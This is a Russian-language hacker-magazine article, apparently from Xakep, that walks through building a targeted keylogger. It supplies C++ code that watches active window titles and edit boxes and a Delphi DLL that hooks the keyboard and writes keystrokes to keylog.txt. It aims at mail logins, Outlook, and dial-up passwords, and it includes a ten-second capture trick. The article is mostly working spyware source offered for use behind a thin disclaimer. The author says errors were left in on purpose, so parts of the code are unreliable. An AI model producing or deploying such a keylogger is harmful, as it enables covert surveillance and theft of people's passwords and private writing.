О написании клавиатурных шпионов
рассказывалось уже неоднократно, но все они
имеют один большой недостаток — как правило,
требуется узнать весьма ограниченную
информацию, а не записывать в файл лога все,
что юзер пишет на клавиатуре — вряд ли тебе
даст много пищи для размышлений логи
нажатия на кнопки при игре в CS 😉 

Отсюда следует, что шпион должен быть
продвинутым, а не тупо писать в лог все, что
ему дают 🙂 Даже назвать такую программу
шпионом язык не поворачивается — это почти
электронный агент 007 :-))) Путей для того,
чтобы программа писала в лог интересующий
нас материал много. Самый простой —
контролировать активные окна, т.е. в которых
в данный момент давятся кнопки 🙂 Как ты,
думаю, знаешь, шпионы как правило состоят из
исполняемого файла и DLL. Это связано с тем,
что для перехвата сообщений к окну
требуется создать новый ПРОЦЕСС, и самое
удобное для этого — использовать dll-ку.
Поэтому для того, чтобы активировать
собственно сам логгер, нужно будет в нужный
момент загрузить DLL, а когда активное окно
сменится на иное — выгрузить ее из памяти. 

Рассмотрим функции работы с DLL в языке Visual
C++. Загрузка в память длл-ки производится
функцией hINSTAGE=LoadLibrary("name.dll"), где hINSTAGE —
как бы дескриптор загруженной в память DLL,
name.dll — имя библиотеки. Чтобы ее выгрузить,
существует функция FreeLibrary(hINSTAGE);  

Теперь о том, как можно нужные нам
приложения. Например, нам известно, что юзер
читает почту через сайт www.mail.ru, тогда можно
настроить агента так, чтобы он перехватывал
нажатия клавиш, когда юзер зайдет на этот
сайт. (Следует помнить, что в некоторых
приложениях шпион клавиатуры вообще не
может работать, например в адресной строке
Internet Explorer’a — это приводит к "аварийному
завершению программ" — а чего иного ты от
Windows хотел :))) Для этого способа вполне
подойдет и чтение паролей из "звонилки"
— если юзер страдает паранойей и каждый раз
вводит логин и пасс вручную 🙂 Или тебе очень
интересно узнать что же он пишет в Outlook’e или
в блокноте. Вот часть кода, выполняющая
сравнение заголовков окон с нужными нам.

HINSTAGE hINSTAGE;

while (1) 
{
//Запускаем цикл.

int sl,ll;
ll=1;
sl=2;
//переменные для
счетчик
а. 
char st[128];
HWND hw;
//Идем самым простым
путем — сравниваем посимвольно строки:
полученный заголовок окна и с нужном нам
строкой.
 

while (ll!=sl) 
{

hw=GetForegroundWindow();
GetWindowText(hw,st,128);
// читаем
активное на данный момент окно.

char stt[128]="_Здесь пишем заголвок нужного
нам окна_№1";

sl=strlen(stt);
ll=0;
while (stt[ll]==st[ll])
//cравниваем
посимвольно строки
//это удобнее делать с той позиции, что будет
проверяться, вхордит ли нужная
//нам строка как часть в другую строку, можно
сделать подобие //широкого фильтра.


ll++;
}

if (ll==sl) {//если строки
совпадают до конца 1-ой строки —

halt;
//прерываем процесс
}
// и так далее — если
нужно проверить на наличие нескольких окон.

char stt[128]="_Здесь пишем заголвок нужного
нам окна_№2";
sl=strlen(stt);
ll=0;
while (stt[ll]==st[ll])
{
ll++;
}

if (ll==sl) {
halt;
//прерываем процесс
}

//И так далее,
последовательно проверяются все окна из
списка. Если найдено 
//хотя бы одно, дабы не рассматривать окна
далее, прерываем цикл.

}

Вместо последовательной проверки можно
сделать параллельную, когда сравниваются в
одном цикле элементы строк, если хоть одна
совпала — тогда DLL-шпион активизируется.

hINSTAGE=LoadLibrary("key1.dll");

Теперь нам нужно все время проверять,
остается ли данное окно активным.

while (ll==sl) //пока
строки совпадают — крутимся на месте

{
hw=GetForegroundWindow();
GetWindowText(hw,st,128);
// читаем
активное на данный момент окно.

ll=0;
while (stt[ll]==st[ll])
{
ll++;
}
}

Выход из цикла говорит о том, что активное
окно сменилось, поэтому далее выгружаем "шпионскую"
библиотеку и цикл начинается с начала — т.е.
прога опять ждет, когда выпадет одно из
нужных окон.

FreeLibrary(hINSTAGE);

Однако же вышеописанный способ имеет и
недостатки — требуется каждый раз проверять
из целого списка окон  является ли нужное
нам активным на данный момент. Поэтому
можно юзать другой алгоритм — проверять не
заголовок окна, а смотреть, если в данном
окне элементы типа EditBox’а. Как правило,
пароли пишутся именно там 🙂 Для этого будет
смотреть на элементы этого окна — и если
среди них есть Edit — тогда грузим DLL.

char p2[128],p3[128];//массивы
символов для заголвков окон.

Опять таки в циклe проверяем все окна:

while (p3!="Edit")//пока
не нашли окно с едитбоксом — выполняем цикл

{

hw=GetForegroundWindow();

HWND hwnd_child;//переменная
элемента окна

hwnd_child = GetWindow(hw,GW_CHILD ); 
GetClassName(hwnd_child,p3,128);
if (p3!="Edit")
//если первый из
найденных элементов окна- не EditBox — тогда
ищем дальше

{
while (hwnd_child!=0) 
{
hwnd_child = GetWindow(hwnd_child, GW_HWNDNEXT); 

GetClassName(hwnd_child,p3,128);
if (p3=="Edit") 
{
halt;
}
}
}
}

Далее следует процедура загрузки
библиотеки и описанный выше алгоритм
слежения за событием смены активного окна.

Теперь собственно о самой шпионской DLL.
Писать ее лучше на Дельфях, потому как этот
возмужавший потомок Паскаля не имеет столь
извращенной "Сипипишной" привычки
придирки к типам данных. Чтобы создать
библиотеку выберем File-New-Direct Link Library — и
заготовка для DLL готова. А вот сам код:

library key1;
uses Windows;

var
KHook: HHOOK;
//переменная для
"ловушки"

function KProc(Code: integer; wParam: Word; lParam: LongInt): LongInt; stdcall;
const
KState: integer = 1073741824;
//код
"клавиша нажата"

var
Simv: ShortString;
KL: array [0..8] of Char;
//для
проверки раскладки клавы

FStruct: TOFSTRUCT;
F: TextFile;
//переменная
файла для записи лога.

begin

// отсеиваем лишние
сообщения

if (lParam and KState) <> 0 then
begin
Result:=CallNextHookEx(KHook, code, wParam, lParam);
Exit;
end;

AssignFile(F, ‘keylog.txt’);

// пытаемся открыть
файл ‘keylog.txt’:

if OpenFile(PChar(‘keylog.txt’), FStruct, OF_EXIST) = HFILE_ERROR then
begin
ReWrite(F);
// если файл не
создан — создаем.

end
else Append(F);
//если есть — пишем в
конец.

Simv:=chr(0);//обнуляем
переменную символа, читающегося с клавы.

// анализируем код
нажатой клавиши

case wParam of
// цифры
48..57: Simv:=Chr(wParam);
96: Simv:=’0′;
97: Simv:=’1′;

104: Simv:=’8′;
105: Simv:=’9′;
189,109: Simv:=’-‘;
110: Simv:=’.’;
111: Simv:=’/’;
end;

GetKeyboardLayoutName(KL); //
проверяем раскладку

if KL = ‘00000409’ then
// если
латинская:

begin
case wParam of
219: Simv:='[‘;
221: Simv:=’]’;
186: Simv:=’;’;
222: Simv:=’"’;
188: Simv:=’,’;
190: Simv:=’.’;
191: Simv:=’/’;
65..90: Simv:=Chr(wParam);
end;
end;
end;
if KL = ‘00000419’ then
// если
русская

begin
case wParam of
219: Simv:=’Х’;
221: Simv:=’Ъ’;
186: Simv:=’Ж’;
222: Simv:=’Э’;
188: Simv:=’Б’;
190: Simv:=’Ю’;
191: Simv:=’.’;
65: Simv:=’Ф’;

87: Simv:=’Ц’;
88: Simv:=’Ч’;
89: Simv:=’Н’;
90: Simv:=’Я’;
end;

//если символ не пустой(т.е.
если была нажата буквенно-цифровая клавиша)
 //тогда пишем его в файл

if Simv<>» then
Write(F, Simv);
//закрываем файл
CloseFile(F);

// передаем сообщение
другим ловушкам в системе

Result:=CallNextHookEx(KHook, code, wParam, lParam);
end;

begin
//Установить ловушку
для перехвата сообщений о клавиатуры.

KHook:=SetWindowsHookEx(WH_KEYBOARD, @KProc, HInstance, 0);

end.

Дальше жмем Ctrl-F9 — и библиотека готова 🙂

Так же эту программу можно упростить в
зависимости от области применения — если
допустим нужно только считать один раз
пароль из звонилки — тогда можно поставить
проверку на окна до нужного нам, и когда оно
станет активным — загрузить библиотеку
key1.dll, подождать определенное время, за
которое юзер успеет набить эти символы на
клавиатуре, а затем выгрузить библиотеку и
завершить программу. Примерно так 🙂

hINSTAGE=LoadLibrary("key1.dll");
Sleep(10000);
//ждать 10 секунд, за это
время юзер наберет пароль.
//время может быть увеличено в зависимости
от степени заторможенности юзера
// и его скрости печатанья на клаве 🙂

FreeLibrary(hINSTAGE); 

PS: Весь вышеперечисленный материал был дан
исключительно с демонстрационными и
общеобразовательными целями, автор ставил
перед собой задачу продемонстрировать
алгоритм работы программы типа "апгрейженный
клавиатурный шпион" и вся
ответственность за использования этого
материала ложится на тебя (непосильным
бременем 🙂 ) В реализации кода присутствуют
мелкие неточности, не вредящие собственно
алгоритму — попробуй найти их сам )).

PSS: Конечно же кейлоггер может не только
выполнять свою основную функцию —
собственно писать в лог нажатия кнопок, но и
изменять значения нажатых клавиш по твоему
вкусу — но как это сделать и для чего это
может быть просто жизненно необходимо — в
следующий раз 🙂

Оставить мнение

Check Also

Алмазный фонд «Хакера». Самые крутые материалы по реверсингу и malware за три года

Иногда мы, редакторы и авторы «Хакера», сами читаем «Хакер». Нет, ну то есть мы постоянно …